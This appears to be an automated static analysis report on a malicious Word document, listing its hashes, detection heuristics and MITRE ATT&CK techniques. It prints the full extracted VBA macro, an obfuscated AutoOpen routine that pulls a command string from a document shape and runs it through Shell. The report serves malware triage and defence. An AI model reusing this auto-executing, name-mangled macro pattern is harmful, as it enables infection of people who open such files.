Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c2f90bdc8971ae17…

MALICIOUS

Office (OLE)

105.6 KB Created: 2018-12-10 06:57:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 822de2feb0000f02e3c929f02483d0e9 SHA-1: 0b9736f440ab9c4b7d2899dc863cbddfe27aa31b SHA-256: c2f90bdc8971ae17bb031771ac3b0563a5751d2618909caf33d5a2f4fd273bb4
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an autoopen subroutine, which is a common technique for executing malicious code upon opening the document. The macro utilizes the Shell() function and invokes cmd.exe, indicating an attempt to run arbitrary commands. The ClamAV detection further supports the malicious nature of the file.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6779190-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6779190-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    . _
Shell(IPwXOE, zAojjnrD), biSckFcc)
    ckYiZtwXppajMGJIXiDRmK = DukUhzINnajsEqJVUhYVkP / Tan(232534274) * 42179576 / Tan(2198914) + IbJhzzRvVjoYPYjbnJcOER - Cos(90757666) + (58535397 / Int(kNpFnLiUsqhDFajaJVajv))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub autoopen()
vsIHz
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.iec.ch In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5461 bytes
SHA-256: c2dd12f13b88414750b854e5ae9d3142fb8a61f64af8f9ef0933e7ef7796bd22
Detection
ClamAV: No threats found
Obfuscation or payload: likely
148 of 182 identifiers look randomly generated (e.g. 'FOnFGWkFwUDqqXzDaisOFSpz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zcAYvnDJwa"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
vsIHz
End Sub

Attribute VB_Name = "PwjESMOYw"
Function vsIHz()
On Error Resume Next
    pFHOzOzVaVfwLIYcoV = SpJhTVjOzduYRooZLjaBjGhz / Tan(123369166) * 186161124 / Tan(181272637) + ZDjivXZfjXnsQACrfw - Cos(89603599) + (53242944 / Int(jNtNUOMILOruNptzPc))
Set PIsnvikjDpRVOTwppmRbINW = JwwDKIuQUStOqawfki
TuscaQzEKzBmBmY = zkjYvvBBvahwPomqiFDa
    FOnFGWkFwUDqqXzDaisOFSpz = wEiKXdpvjTrKlhpvhGi / Tan(102574322) * 87720771 / Tan(204302771) + zjWElwrnYniKRCubrNvHDG - Cos(295593091) + (273420819 / Int(DSXLHkMRPkbAYEzrjSXGXYsn))
Set qBRXmrqhHhdUcRDRtCSS = SIwQXnVjYfZkjQiutcs
SQWVXEAToiVaUEXsVHPDU = jCDjvAVWzZZhIBmbtTnCuuJz
    XsihZmXDJPNHIYvsUiSiKs = MKIRRdUVfUYkCEQoto / Tan(276107399) * 25456999 / Tan(183377385) + baqnNLlXIbfXSXQVGZouimjo - Cos(294752494) + (262654356 / Int(tZuUotOihaiQJk))
Set LwEfltYXiQPhPoq = uZHrwOHqiDoivc
fJbanjNBKVBLEZLz = qYjqBsJzpOBiEpcGGjXoNDT
    iXRYwQsaMTnrRURkQWIBo = IkcNaajGqokzSptMRXbrz / Tan(250683707) * 152503556 / Tan(317387135) + IzchGXVutPjwlpSuFdwGTB - Cos(184827079) + (282489085 / Int(EkawnWNjaSdEYj))
Set PDYaMPjhJzrIYpTHV = dBmuzGsTQKXpqjthqQcBd
YDRzwNpqHKISviiVGShtzW = TGKPqwCiTHodjdzJ
    XXTEGifNusMaKQEojKRKmrI = sNzznIrmJjPzbrkiob / Tan(251152993) * 306375206 / Tan(234134341) + DAtiFuapIjOwMt - Cos(229643104) + (218569378 / Int(mBZQaAHMpamWLFOlrJz))
Set EDzLUaiidirvHA = tJkczmWPToTzbA
UjjdViEOwARYiKjq = KFVbGjARindWBdHiQ
    bqfEXhihzhsMiGHdBARTPiwK = NtLONKpoHdFMElVl / Tan(291063497) * 145689077 / Tan(100189666) + XuwfzqUiDkttUvKnSSkWDXX - Cos(189908642) + (18214319 / Int(zOviXMhQmSufOXpHk))
Set kLsIbhSZlsrzXVcjsG = VMjLDIrsnENhwnAsqYonOP
apZnvZCfijUPKDAoAjofVYLv = XcmLDTYFPGWiVwTk
Set MifRo = zcAYvnDJwa.Shapes(ochOnFjzD + "qoSFltOjmNzhJn" + WilODjLm).TextFrame
    wDvzRIsNfSwhXlmEXBSmR = iZzuiZcmFihDFbAEL / Tan(65825637) * 2147834 / Tan(57843861) + juZAmiAjRAVQjZVBXdSkt - Cos(86068153) + (131159504 / Int(UjLESpImIjufYtsqcDoiLmYB))
Set DojhYpWaZfFXwQcrjIzf = ddlcHpYpohIJZPAcEktXEzO
SjmMmbiaWnZLuFQzzklzzO = BbPiXEHmiOwJbDMDMD
    IPIsowTiGJYzPJVbjj = WADmmAajVPLHzdtbQXoZ / Tan(232103906) * 325790960 / Tan(59328024) + RRLOrVqEczzTFc - Cos(141569577) + (291298975 / Int(PwTvCbUWhEDsKuYr))
Set VUpLrzZHiwfaWo = wLUzpHOqqsJQmL
FYbFHACCXwtoXdowL = BwwZZBsGiwTiinvMs
    PwLYluslEfzompVYcaZw = RDLjifwmpXdIBJzEDwRtwb / Tan(159883241) * 87710250 / Tan(297475834) + bckdrtdqztzrCOuzOIUj - Cos(241370165) + (205437036 / Int(TYbHFsqiwnCEVBLjjfK))
Set EFMvCwzMQsNvvEQF = lXwHOBDAKYwDclAZS
OMjFHvdOFaGIRkGQzI = FqEIvsZzJoHMVclC
IPwXOE = MifRo.ContainingRange + rNCvwz + jBtJwA + TfzaNA + ioPFs + FYORwX + DfsMHYE + izujzCp + paIlqaj + zDPkNd + VolEHLE
    cRqTnUBqzhoinHIlU = rXnhChiZuztoDiz / Tan(302455508) * 323747016 / Tan(210536241) + nKJwiwGzzwzBMfjJRavO - Cos(61683009) + (274666804 / Int(ZCwJdFjtJcHhwiaJ))
Set wjjdvzhIWYfTBRTzwjthn = rQDpYEwkbrQKSZJkdEPB
hBZILokAwjbzTrP = GZdJmwoCqzuoMGoSlVK
    NkvDNuWaIsfAQjZkTkk = SGASActwYrLCdj / Tan(283309891) * 23457642 / Tan(117929014) + qwBnDYUNQDjGjfuk - Cos(33206100) + (45433469 / Int(cClAaBRjcXkrWSItlAfDb))
Set nLpPSIjItbkToIFzbllsrpjL = nalJjZDHiPaKKjJz
iJHCdAonZtRjGzidEi = vzJBjMKtimQCcsWKWEHKa
    ftczPUpzAZDXXjM = fjYDozIaBMwhuonPbOGjiPJo / Tan(242852753) * 94084324 / Tan(7306241) + SvXZrkYlAJQhlBwDV - Cos(52344402) + (36477545 / Int(mnwIcfNQZkSawsIF))
Set YqJQBPRzYvhQFScIpiizOw = XHLQrpkstsOwRvvk
iKEkfzURpRHOdGZcfmJ = waIoDoYrWLMttGVEsarHrz
    uAZCHPBVRwlRfCzztOzT = vSShIoKhBlJicRzIzoJ / Tan(66152698) * 286538465 / Tan(197105072) + hMibBMBnkpIwhHV - Cos(336364504) + (182299387 / Int(oQKciDkBrvZoJjRMkVZMJUz))
Set YtTSPBcpiSCNvFdfqzVFNwfc = VWzZOiTRMDpkSlqTkGrdE
fruWJztkcOrkuicQT = jwjBouXNimdqnwcFqIisY
Const zAojjnrD = 0
    rYUjATBpRzzdXkpWLWQp = tEJEbTrQlvbowahHmUlhip / Tan(210591992) * 339641990 / Tan(296900294) + uBSEjZBrwTKbYzKZfCX - Cos(267178380) + (162918358 / Int(HPZBfIEEYJLCZpzh))
Set CnGbNwKwmXJJdbEA = uDfitsmuvAQWZUbwpVBRi
SPFtluvuhGCquuCiIuThSvu = MCiKnGDiBAkPdAHswAS
    zjOEXTOIsBSkhOlvaiSEISp = sEBHWqTUHKvVjuBQwQj / Tan(242656206) * 237630116 / Tan(115651010) + pVDFmiXljroLSRHmChwdWSQ - Cos(78324370) + (212027904 / Int(BIrmEpbNMlSkhljZOdvi))
Set zpiiDloUWFrZJjPuumwkF = VTRAMtzEmQzuCTM
AEmtqfbKXFUfUrw = duTKMDZuXSTacPiwhmluzMOq
jZhwLM = Array(zAbXV, jiMkGbD, ouJmBH, Interaction _
. _
Shell(IPwXOE, zAojjnrD), biSckFcc)
    ckYiZtwXppajMGJIXiDRmK = DukUhzINnajsEqJVUhYVkP / Tan(232534274) * 42179576 / Tan(2198914) + IbJhzzRvVjoYPYjbnJcOER - Cos(90757666) + (58535397 / Int(kNpFnLiUsqhDFajaJVajv))
Set ApIcailkrNBwPmcph = KEXiwYhisnvwncnSMzw
lAiHzUCGKzzTnCWr = SqkurlzpuaYLzZcsXmJWPii
    vlzdkrfKYVBsUsbrLwzwaYc = SFKjnsAuJXRjiFc / Tan(156389843) * 262214348 / Tan(61345373) + mKuUaniTXiKRWJrLf - Cos(217006925) + (333330434 / Int(fUHiwbsJFUZIRGpuYk))
Set tEYdLwGvaquwqpmmSDLXz = ZODJBAPTwmuzFSGrwjqfRSK
iTiUXrMNkwiKaCzGfG = HCtkUfbHbhTdHEfaiVvwFZh
    YlfFhzdDRpbOiQTKYP = TrOKzRGKcSHQHZzjJF / Tan(129684557) * 151990454 / Tan(60051287) + SNqjTGEbhiYuccKahnbmB - Cos(246924435) + (63689931 / Int(TpkjKFFsJlZATQwzFAk))
Set rNwVZiXjvWhhERNiWYRc = jkrDJGRpbhAAjhGsOGb
YwnDswCDUdjjIDLdESPcG = UpjjXkHlHRpuAjwoKNDNVwA
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.